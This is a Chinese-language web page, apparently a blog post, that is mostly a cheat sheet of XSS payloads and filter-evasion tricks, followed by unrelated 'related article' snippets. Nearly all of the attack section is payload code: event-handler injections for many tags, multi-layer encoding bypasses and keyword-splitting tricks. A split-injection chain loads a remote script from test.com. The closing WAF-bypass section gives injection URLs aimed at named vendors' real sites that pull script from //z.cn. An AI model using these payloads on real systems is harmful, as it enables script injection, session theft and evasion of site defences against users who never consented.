当前位置: 首页 > news >正文

XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结

一、xss 常见标签语句

0x01. 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
  • 0x02. 标签

    <img src=x onerror="alert(1)">
    <img src=x onerror=eval("alert(1)")>
    <img src=1 onmouseover="alert('xss');">
    <img src=1 onmouseout="alert('xss');">
    <img src=1 onclick="alert('xss');">
    
    • 0x03. 标签

      <iframe src="javascript:alert(1)">test</iframe>
      <iframe onload="alert(document.cookie)"></iframe>
      <iframe onload="alert('xss');"></iframe>
      <iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
      <iframe onmouseover="alert('xss');"></iframe>
      <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
      

        0x04. 标签

        <audio src=1 onerror=alert(1)>
        <audio><source src="x" onerror="alert('xss');"></audio>
        <audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
        <audio controls onmouseover="alert('xss');"><source src="x"></audio>
        

          0x05. 标签

          <video src=x onerror=alert(1)>
          <video><source onerror="alert('xss');"></video>
          <video controls onmouseover="alert('xss');"></video>
          <video controls onfocus="alert('xss');" autofocus=""></video>
          <video controls onclick="alert('xss');"></video>
          
          • 0x06.

            <svg onload=javascript:alert(1)>
            <svg onload="alert('xss');"></svg>
            

              0x07. 标签

              <button onclick=alert(1)>
              <button onfocus="alert('xss');" autofocus="">xss</button>
              <button onclick="alert('xss');">xss</button>
              <button onmouseover="alert('xss');">xss</button>
              <button onmouseout="alert('xss');">xss</button>
              <button onmouseup="alert('xss');">xss</button>
              <button onmousedown="alert('xss');"></button>
              

                0x08.

                标签

                这个需要借助url编码来实现绕过
                

          原代码:
          <div onmouseover=alert(1)>DIV</div>
          经过url编码:
          <div onmouseover%3d‘alert%26lpar%3b1%26rpar%3b’>DIV<%2fdiv>

            0x09. 标签
            这个需要借助 data 伪协议和 base64 编码来实现绕过

            <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
            

              0x10.

              <script>alert('xss')</script>
              <script>alert(/xss/)</script>
              <script>alert(123)</script>
              

                0x11.

                标签

                <p onclick="alert('xss');">xss</p>
                <p onmouseover="alert('xss');">xss</p>
                <p onmouseout="alert('xss');">xss</p>
                <p onmouseup="alert('xss');">xss</p>
                

                  0x12. 标签

                  <input onclick="alert('xss');">
                  <input onfocus="alert('xss');">
                  <input onfocus="alert('xss');" autofocus="">
                  <input onmouseover="alert('xss');">
                  <input type="text" onkeydown="alert('xss');"></input>
                  <input type="text" onkeypress="alert('xss');"></input>
                  <input type="text" onkeydown="alert('xss');"></input>
                  

                    0x13. 标签

                    <details ontoggle="alert('xss');"></details>
                    <details ontoggle="alert('xss');" open=""></details>
                    

                      0x14. 标签

                      <select onfocus="alert('xss');" autofocus></select>
                      <select onmouseover="alert('xss');"></select>
                      <select onclick=eval("alert('xss');")></select>
                      

                        0x15. 标签

                        <form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
                        

                          0x16. 标签

                          <body onload="alert('xss');"></body>
                          

                            二、xss 常见绕过

                            编码绕过
                            浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。

                            0x01. html 实体编码
                            当可控点为单个标签属性时,可以使用 html 实体编码。

                            <a href="可控点">test</a>
                            

                            <iframe src=“可控点”>test<iframe>
                            <img src=x onerror=“可控点”>
                            Payload

                            <a href=“javascript:alert(1)”>test</a>
                            十进制

                            <a href=“&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;”>test</a>
                            十六进制

                            <a href=“&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”>test</a>

                            可以不带分号

                            <a href=“&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29”>test</a>

                            可以填充0

                            <a href=“&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029”>test</a>

                            • 0x02. url 编码

                              当注入点存在 href 或者 src 属性时,可以使用 url 编码。
                              

                            <a href=“可控点”>test</a>

                            <iframe src=“可控点”>test</iframe>

                            Payload

                            <a href=“javascript:alert(1)”>test</a>

                            <iframe src=“javascript:alert(1)”>test</iframe>
                            注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

                            <a href=“javascript:%61%6c%65%72%74%28%31%29”>test</a>

                            <iframe src=“javascript:%61%6c%65%72%74%28%31%29”>test</iframe>
                            可以二次编码

                            <a href=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</a>

                            <iframe src=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</iframe>

                            • 0x03. js 编码

                              解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。

                              但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

                              由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

                              js 编码策略:

                              “” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”

                              “\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”

                              “\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”

                              对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)

                              <img src=x onerror="可控点">
                              

                            <input onfocus=location=“可控点” autofocus>

                              Payload

                              <img src=x onerror="alert(1)">
                              

                              <input onfocus=location=“alert(1)” autofocus>

                                Unicode 编码

                                <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
                                

                                <input onfocus=location=“javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029” autofocus>

                                  注:

                                  Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。

                                  ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

                                  八进制和十六进制

                                  setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

                                  语法:setTimeout(要执行的代码, 等待的毫秒数)

                                  setTimeout(JavaScript 函数, 等待的毫秒数)

                                  1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
                                  2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
                                  3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
                                  4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
                                  5.<script>eval("\141\154\145\162\164\050\061\051")</script>
                                  6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
                                  

                                    0x04. 混合编码

                                    <a href="可控点">test</a>
                                    

                                      Payload

                                      <a href="javascript:alert(1)">test</a>
                                      

                                        html 编码

                                        <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
                                        

                                          Unicode 编码

                                          <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                          

                                            注:Unicode 编码不能对括号使用

                                            url 编码

                                            <a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
                                            

                                              由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

                                              1. 原代码
                                              <a href="javascript:alert(1)">test</a>
                                              
                                                1. 对alert进行JS编码(unicode编码)
                                                <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                                
                                                  1. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
                                                  <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
                                                  
                                                    1. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
                                                    <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>
                                                    

                                                      注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

                                                      0x05. base64 编码

                                                      base64 编码通常需要使用到 data 伪协议。

                                                      data 协议使用方法:data:资源类型;编码,内容

                                                      base64编码内容为

                                                      <script>alert(/xss/)</script>
                                                      

                                                        PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
                                                        通常与 base64 编码配合 data 协议的标签有 、、

                                                        1. 标签

                                                        <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
                                                        

                                                          2. 标签
                                                          <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> (新版浏览器不支持)
                                                          3. 标签

                                                          <iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
                                                          

                                                            4. 标签

                                                            <embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
                                                            

                                                              atob 函数

                                                              atob() 方法用于解码使用 base-64 编码的字符串。

                                                              语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

                                                              1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
                                                              2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
                                                              3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
                                                              4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
                                                              5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
                                                              6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
                                                              

                                                                0x06. ascii 编码

                                                                ascii 编码一般配合String.fromCharCode使用。

                                                                alert(1)
                                                                十进制:97, 108, 101, 114, 116, 40, 49, 41
                                                                十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

                                                                十进制

                                                                <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
                                                                

                                                                  十六进制

                                                                  <a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
                                                                  

                                                                    空格过滤绕过

                                                                    <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
                                                                    

                                                                      A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

                                                                      圆括号过滤绕过
                                                                      0x01. 反引号替换

                                                                      <script>alert`1`</script>
                                                                      

                                                                        0x02. throw 绕过

                                                                        <video src onerror="javascript:window.οnerrοr=alert;throw 1">
                                                                        <svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
                                                                        

                                                                          单引号过滤绕过
                                                                          0x01. 斜杠替换

                                                                          <script>alert(/xss/)</script>
                                                                          

                                                                            0x02. 反引号替换

                                                                            <script>alert(`xss`)</script>
                                                                            

                                                                              alert 过滤绕过
                                                                              0x01. prompt 替换

                                                                              <script>prompt(/xss/)</script>
                                                                              

                                                                                0x02. confirm 替换

                                                                                <script>confirm(/xss/)</script>
                                                                                

                                                                                  0x03. console.log 替换

                                                                                  <script>console.log(3)</script>
                                                                                  

                                                                                    0x04. document.write 替换

                                                                                    <script>document.write(1)</script>
                                                                                    

                                                                                      0x05. base64 绕过

                                                                                      <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
                                                                                      <img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
                                                                                      

                                                                                        关键词置空绕过
                                                                                        0x01. 大小写绕过

                                                                                        <script>alert(/xss/)</script>
                                                                                        

                                                                                          可以转换为

                                                                                          <ScRiPt>AlErT(/xss/)</sCrIpT>
                                                                                          

                                                                                            0x02. 嵌套绕过
                                                                                            嵌套突破

                                                                                            <script>alert(/xss/)</script>
                                                                                            

                                                                                              可以转换为

                                                                                              <sc<script>ript>alert(/xss/)</sc</script>ript>
                                                                                              

                                                                                                函数拼接
                                                                                                0x01. eval

                                                                                                <img src="x"onerror="eval('al'+'ert(1)')">
                                                                                                

                                                                                                  0x02. top

                                                                                                  <img src="x" onerror="top['al'+'ert'](1)">
                                                                                                  

                                                                                                    0x03. window

                                                                                                    <img src="x" onerror="window['al'+'ert'](1)">
                                                                                                    

                                                                                                      0x04. self

                                                                                                      <img src="x" onerror="self[`al`+`ert`](1)">
                                                                                                      

                                                                                                        0x05. parent

                                                                                                        <img src="x" onerror="parent[`al`+`ert`](1)">
                                                                                                        

                                                                                                          0x06. frames

                                                                                                          <img src="x" onerror="frames[`al`+`ert`](1)">
                                                                                                          

                                                                                                            0x07. 常用函数

                                                                                                            <img src="x" onerror="eval(alert(1))">
                                                                                                            <img src="x" onerror="open(alert(1))">
                                                                                                            <img src="x" onerror="document.write(alert(1))">
                                                                                                            <img src="x" onerror="setTimeout(alert(1))">
                                                                                                            <img src="x" onerror="setInterval(alert(1))">
                                                                                                            <img src="x" onerror="Set.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Map.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Array.constructor(alert(1))">
                                                                                                            <img src="x" onerror="WeakSet.constructor(alert(1))">
                                                                                                            <img src="x" onerror="constructor.constructor(alert(1))">
                                                                                                            <img src="x" onerror="[1].map(alert(1))">
                                                                                                            <img src="x" onerror="[1].find(alert(1))">
                                                                                                            <img src="x" onerror="[1].every(alert(1))">
                                                                                                            <img src="x" onerror="[1].filter(alert(1))">
                                                                                                            <img src="x" onerror="[1].forEach(alert(1))">
                                                                                                            <img src="x" onerror="[1].findIndex(alert(1))">
                                                                                                            
                                                                                                            • 赋值拼接

                                                                                                              <img src onerror=_=alert,_(1)>
                                                                                                              <img src x=al y=ert onerror=top[x+y](1)>
                                                                                                              <img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
                                                                                                              <img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
                                                                                                              

                                                                                                                火狐IE专属

                                                                                                                <marquee onstart=alert(1)>
                                                                                                                

                                                                                                                  拆分法
                                                                                                                  当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

                                                                                                                  <script>a='document.write("'</script>
                                                                                                                  <script>a=a+'<script src=ht'</script>
                                                                                                                  <script>a=a+'tp://test.com/xs'</script>
                                                                                                                  <script>a=a+'s.js></script>")'</script>
                                                                                                                  <script>eval(a)</script>
                                                                                                                  
                                                                                                                  • 通过上面的拆分法可以拼凑出下面完整的攻击向量:

                                                                                                                    document.write(“”)

                                                                                                                    三、绕过 waf 拦截

                                                                                                                    安全狗

                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
                                                                                                                    

                                                                                                                      D盾

                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                      

                                                                                                                        云锁+奇安信 waf

                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                        

                                                                                                                      相关文章:

                                                                                                                      XSS 常用标签及绕过姿势总结

                                                                                                                      XSS 常用标签及绕过姿势总结 一、xss 常见标签语句 0x01. 标签 <a href"javascript:alert(1)">test</a> <a href"x" onfocus"alert(xss);" autofocus"">xss</a> <a href"x" onclickeval(&quo…...

                                                                                                                      haproxy详解笔记

                                                                                                                      一、概述 HAProxy&#xff08;High Availability Proxy&#xff09;是一款开源的高性能 TCP/HTTP 负载均衡器和代理服务器&#xff0c;用于将大量并发连接分发到多个服务器上&#xff0c;从而提高系统的可用性和负载能力。它支持多种负载均衡算法&#xff0c;能够根据服务器的…...

                                                                                                                      「软件设计模式」工厂方法模式 vs 抽象工厂模式

                                                                                                                      前言 在软件工程领域&#xff0c;设计模式是解决常见问题的经典方案。本文将深入探讨两种创建型模式&#xff1a;工厂方法模式和抽象工厂模式&#xff0c;通过理论解析与实战代码示例&#xff0c;帮助开发者掌握这两种模式的精髓。 一、工厂方法模式&#xff08;Factory Metho…...

                                                                                                                      Flutter_学习记录_数据更新的学习

                                                                                                                      Flutter 如果界面上有数据更新时&#xff0c;目前学习到的有3种&#xff1a; 第一种&#xff1a; 直接用 StatefulWidget组件&#xff0c;然后当数据更新时&#xff0c;调用setState的方法更新数据&#xff0c;页面上的数据会直接更新&#xff1b;第二种&#xff1a; 用 State…...

                                                                                                                      淘宝订单列表Fragment转场动画卡顿解决方案

                                                                                                                      如何应对产品形态与产品节奏相对确定情况下转变为『在业务需求与产品形态高度不确定性的情况下&#xff0c;如何实现业务交付时间与交付质量的确定性』。我们希望通过混合架构&#xff08;Native 业务容器 Weex 2.0&#xff09;作为未来交易终端架构的重要演进方向&#xff0c…...

                                                                                                                      【状态空间方程】对于状态空间方程矩阵D≠0时的状态反馈与滑模控制

                                                                                                                      又到新的一年啦&#xff0c;2025新年快乐~。前几个月都没更新&#xff0c;主要还是因为不能把项目上的私密工作写进去&#xff0c;所以暂时没啥可写的。最近在山里实习&#xff0c;突然想起年前遗留了个问题一直没解决&#xff0c;没想到这两天在deepseek的加持下很快解决了&am…...

                                                                                                                      优雅的git log输出内容更加醒目

                                                                                                                      执行命令 git config --global alias.lg "log --graph --prettyformat:%C(red)%h%C(reset) - %C(yellow)%d%C(reset) %C(magenta)<%an>%C(reset) %C(cyan)(%ad)%C(reset) %C(green)%s%C(reset) (%cr) --abbrev-commit --dateformat:%Y-%m-%d %H:%M:%S"...

                                                                                                                      PySide(PyQT)使用场景(QGraphicsScene)进行动态标注的一个demo

                                                                                                                      用以标注图像的一个基本框架demo import sys from PySide6.QtWidgets import QApplication, QGraphicsView, QGraphicsScene, QMainWindow, QLabel, QGraphicsPixmapItem from PySide6.QtGui import QPixmap, QPainter, QTransform from PySide6.QtCore import Qt, QPointF, S…...

                                                                                                                      LeetCode每日精进:876.链表的中间结点

                                                                                                                      题目链接&#xff1a;876.链表的中间结点 题目描述&#xff1a; 给你单链表的头结点 head &#xff0c;请你找出并返回链表的中间结点。 如果有两个中间结点&#xff0c;则返回第二个中间结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[3,4,5…...

                                                                                                                      ollama实践笔记

                                                                                                                      目录 一、linux安装文件命令&#xff1a; 二、启动ollama 三、linux 如何把ollama serve做为服务方式启动 四、安装deepseek-r1 五、如何在网页中使用ollama&#xff1f; ‌5.1 安装Open WebUI【不推荐】 5.2 安装ollama-webui-lite 六、Ubuntu安装docker、只需要一句话…...

                                                                                                                      联想电脑如何进入BIOS?

                                                                                                                      打开设置 下滑找到更新与安全 点击恢复和立即重新启动 选择疑难解答 选择UEFI固件设置 然后如果有重启点击重启 重启开机时一直点击FNF10进入BIOS界面...

                                                                                                                      CentOS本机配置为时间源

                                                                                                                      CentOS本机配置为时间源 安装chrony&#xff0c;默认已安装修改配置文件 /etc/chrony.conf客户端配置 安装chrony&#xff0c;默认已安装 yum -y install chrony修改配置文件 /etc/chrony.conf # cat /etc/chrony.conf | grep -Ev "^$|#" server ceph00 iburst dri…...

                                                                                                                      使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序

                                                                                                                      作者&#xff1a;来自 Elastic Adrian Cole Elastic 很自豪地在我们的 Python、Node.js 和 Java EDOT SDK 中引入了 OpenAI 支持。它们为使用 OpenAI 兼容服务的应用程序添加日志、指标和跟踪&#xff0c;而无需任何代码更改。 介绍 去年&#xff0c;我们宣布了 OpenTelemetry…...

                                                                                                                      微信小程序网络请求封装

                                                                                                                      微信小程序的网络请求为什么要封装&#xff1f;封装使用有什么好处&#xff1f; 封装的目的是为了偷懒&#xff0c;试想一下每次都要wx.request&#xff0c;巴拉巴拉传一堆参数&#xff0c;是不是很麻烦&#xff0c;有些公共的参数例如header&#xff0c;baseUrl是不是可以封装…...

                                                                                                                      【自学笔记】人工智能基础知识点总览-持续更新

                                                                                                                      提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 人工智能重点知识点总览一、基础概念与原理1.1 人工智能定义与发展1.2 算法与数据结构1.3 数学基础 二、机器学习2.1 监督学习2.2 无监督学习2.3 强化学习 三、深度…...

                                                                                                                      Docker 常用命令基础详解(二)

                                                                                                                      四、容器操作命令 4.1 运行容器 使用docker run命令可以创建并运行一个容器&#xff0c;它就像是一个神奇的 “启动器”&#xff0c;让镜像中的应用程序在容器中运行起来。其基本语法为&#xff1a; docker run [OPTIONS] IMAGE [COMMAND] [ARG...] 其中&#xff0c;OPTIONS…...

                                                                                                                      初学java 数据库相关学习

                                                                                                                      创建数据库&#xff1a; 主键: unsigned primary key auto_increment 外键: foreign key(xx) references table_name(xx) 字段: 类型: int ; tinyint ;char(20);varchar(255); date; datetime; text; float(5,2); double(10,2); long; decimal(15,10) 约束:primary key; foreig…...

                                                                                                                      ARM64 Trust Firmware [一]

                                                                                                                      ARMv8 启动流程&#xff1a; 在《RK3568上电启动流程 [十五]》中&#xff0c;简单介绍了 RK3568 的上电启动过程&#xff0c;本篇再详细分解其启动流程。 在 ARMv8 架构中&#xff0c;启动流程包含多个阶段&#xff0c;这些阶段被称为 BL &#xff08;bootloader&#xff09; …...

                                                                                                                      K8S容器启动提示:0/2 nodes are available: 2 Insufficient cpu.

                                                                                                                      问题&#xff1a;K8S的容器启动报错0/2 nodes are available: 2 Insufficient cpu. 原因&#xff1a;Pod的资源请求&#xff08;requests&#xff09;设置不当&#xff1a;在Kubernetes中&#xff0c;调度器根据Pod的requests字段来决定哪个节点可以运行该Pod。如果一个Pod声明…...

                                                                                                                      数据结构:图论入门

                                                                                                                      图论起源于欧拉对哥尼斯堡七桥问题的解决. 他构建的图模型将陆地用点来表示, 桥梁则用线表示, 如此一来, 该问题便转化为在图中能否不重复地遍历每条边的问题. 图论的应用 地图着色 在地图着色问题中, 我们用顶点代表国家, 将相邻国家之间用边相连. 这样, 问题就转化为用最少…...

                                                                                                                      DataBase【MySQL基础夯实使用说明(下)】

                                                                                                                      MySQL数据库 &#x1f3c6;当领导表示关心时&#xff0c;您怎么回复&#xff1f; ⚠️不要傻傻的说应该的&#xff0c;这样不仅会抹杀掉你的辛苦&#xff0c;也让领导没办法接话&#xff01; &#x1f514;文章末尾彩蛋&#xff01; 文章目录 MySQL数据库前言一、约束1.1.外键…...

                                                                                                                      Golang的多团队协作编程模式与实践经验

                                                                                                                      Golang的多团队协作编程模式与实践经验 一、多团队协作编程模式概述 在软件开发领域&#xff0c;多团队协作编程是一种常见的工作模式。特别是对于大型项目来说&#xff0c;不同团队间需要协同合作&#xff0c;共同完成复杂的任务。Golang作为一种高效、并发性强的编程语言&…...

                                                                                                                      详解spotbugs -textui常用命令(包括生成html测试报告)

                                                                                                                      用命令运行spotbugs 本文默认大家了解spotbugs的基础使用&#xff0c;如果不了解可以参考文章 使用神器Spotbugs&#xff0c;轻松入门静态代码分析-CSDN博客 我们在使用spotbugs 对Java代码进行静态分析&#xff0c;查找相关的漏洞时通常在使用Maven和Gradle进行构建的过程中…...

                                                                                                                      C++:Map和Set

                                                                                                                      目录 一、关联式容器 二、键值对 三、树形结构的关联式容器 A.set的模板参数列表 B.set的构造 C.set的迭代器 D.set的容量 E.set的修改操作 F.set的使用举例 A.map的模板参数列表 B.map的构造 C.map的迭代器 D.map的容量 E.map中元素的修改 operator[ ] insert()…...

                                                                                                                      【Unity Shader编程】之顶点着色器

                                                                                                                      来一张AI提供的资料 在shader编程中&#xff0c;定义的结构体&#xff0c;有些是会被自动赋值&#xff0c;有些是必须要手动赋值的&#xff0c;这就涉及到了语义&#xff0c; 例如 struct appdata{float4 vertex : POSITION;float vertex2;float2 uv : TEXCOORD0;};结构体里面定…...

                                                                                                                      Hive之[Hive]详细安装步骤

                                                                                                                      hive 是依赖hadoop中的hdfs作为存储&#xff0c;依赖mysql管理元数据 master节点 集群环境 master 192.168.204.130 slave1 192.168.204.131 slave2 192.168.204.132组件下载地址 https://archive.apache.org/dist/hive/hive-1.2.2/ 或 链接: https://pan.baidu.com/s/1…...

                                                                                                                      3.【线性代数】——矩阵乘法和逆矩阵

                                                                                                                      三 矩阵乘法和逆矩阵 1. 矩阵乘法1.1 常规方法1.2 列向量组合1.3 行向量组合1.4 单行和单列的乘积和1.5 块乘法 2. 逆矩阵2.1 逆矩阵的定义2.2 奇异矩阵2.3 Gauss-Jordan 求逆矩阵2.3.1 求逆矩阵 ⟺ \Longleftrightarrow ⟺解方程组2.3.2 Gauss-Jordan求逆矩阵 1. 矩阵乘法 1.…...

                                                                                                                      手动配置IP

                                                                                                                      手动配置IP&#xff0c;需要考虑四个配置项&#xff1a; 四个配置项 IP地址、子网掩码、默认网关、DNS服务器 IP地址&#xff1a;格式表现为点分十进制&#xff0c;如192.168.254.1 子网掩码&#xff1a;用于区分网络位和主机位 【子网掩码的二进制表达式一定是连续的&#…...

                                                                                                                      unity is running as administrator 管理员权限问题

                                                                                                                      每次打开工程弹出unity is running as administrator的窗口 unity版本2022.3.34f1&#xff0c;电脑系统是win 11系统解决方法一&#xff1a;解决方法二&#xff1a; unity版本2022.3.34f1&#xff0c;电脑系统是win 11系统 每次打开工程都会出现unity is running as administr…...

                                                                                                                      AI在电竞比分网中的主要应用场景

                                                                                                                      AI在电竞体育比分网的数据应用非常广泛&#xff0c;能够显著提升数据分析、预测、用户体验和商业价值。以下是AI在电竞比分网中的主要应用场景&#xff1a; 1. 实时数据采集与分析 比赛数据实时更新&#xff1a;AI通过自动化系统实时采集比赛数据&#xff08;如击杀数、经济差、…...

                                                                                                                      消息中间件:RabbitMQ镜像集群部署配置全流程

                                                                                                                      目录 1、特点 2、RabbitMQ的消息传递模式 2.1、简单模式&#xff08;Simple Mode&#xff09; 2.2、工作队列模式&#xff08;Work Queue Mode&#xff09; 2.3、发布/订阅模式&#xff08;Publish/Subscribe Mode&#xff09; 2.4、路由模式&#xff08;Routing Mode&am…...

                                                                                                                      TCP的拥塞控制

                                                                                                                      什么是TCP的拥塞控制&#xff1f;它的工作原理是什么&#xff1f;为什么需要拥塞控制&#xff1f; TCP拥塞控制简介 想象一下&#xff0c;你和一群朋友在一条狭窄的小路上跑步。如果每个人都拼命跑&#xff0c;小路很快就会变得拥挤不堪&#xff0c;大家互相碰撞&#xff0c;…...

                                                                                                                      Jenkins 配置 Git Repository 五

